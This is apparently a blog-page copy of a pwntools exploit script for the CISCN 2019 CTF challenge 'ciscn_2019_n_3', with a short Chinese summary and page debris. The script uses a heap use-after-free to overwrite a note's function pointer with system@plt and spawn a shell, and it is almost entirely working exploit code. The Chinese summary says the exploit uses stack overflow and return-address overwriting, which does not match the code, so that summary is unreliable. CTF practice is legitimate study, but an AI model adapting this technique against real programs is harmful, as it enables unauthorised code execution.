from pwn import *
p = process("./ciscn_2019_n_3")
elf = ELF('./ciscn_2019_n_3')
def do_new_text(idx, lens, content):
p.sendlineafter("CNote > ", '1')
p.sendlineafter("Index > ", str(idx))
p.sendlineafter("Type > ", '2')
p.sendlineafter("Length > ", str(lens))
p.sendlineafter("Value > ", content)
def do_new_int(idx, content):
p.sendlineafter("CNote > ", '1')
p.sendlineafter("Index > ", str(idx))
p.sendlineafter("Type > ", '1')
p.sendlineafter("Value > ", str(content))
def do_dump(idx):
p.sendlineafter("CNote > ", '3')
p.sendlineafter("Index > ", str(idx))
def do_dele(idx):
p.sendlineafter("CNote > ", '2')
p.sendlineafter("Index > ", str(idx))
do_new_text(0, 0x18, 'aaaa')
do_new_text(1, 0x18, 'bbbb')
do_dele(0)
do_dele(1)
do_new_text(2,0xc,'sh\x00\x00'+p32(elf.plt['system']))
do_dele(0)
p.interactive()
ciscn2019 pwn3
本文详细介绍了CISCN2019网络安全竞赛中pwn3挑战的漏洞利用过程,包括漏洞类型、exploit编写思路以及解决难点的技巧。通过对内存错误、栈溢出和返回地址篡改的深入分析,揭示了攻击者如何通过缓冲区溢出获取代码执行权限,进而实现远程控制系统。
部署运行你感兴趣的模型镜像
您可能感兴趣的与本文相关的镜像
Stable-Diffusion-3.5
图片生成
Stable-Diffusion
Stable Diffusion 3.5 (SD 3.5) 是由 Stability AI 推出的新一代文本到图像生成模型,相比 3.0 版本,它提升了图像质量、运行速度和硬件效率

被折叠的 条评论
为什么被折叠?



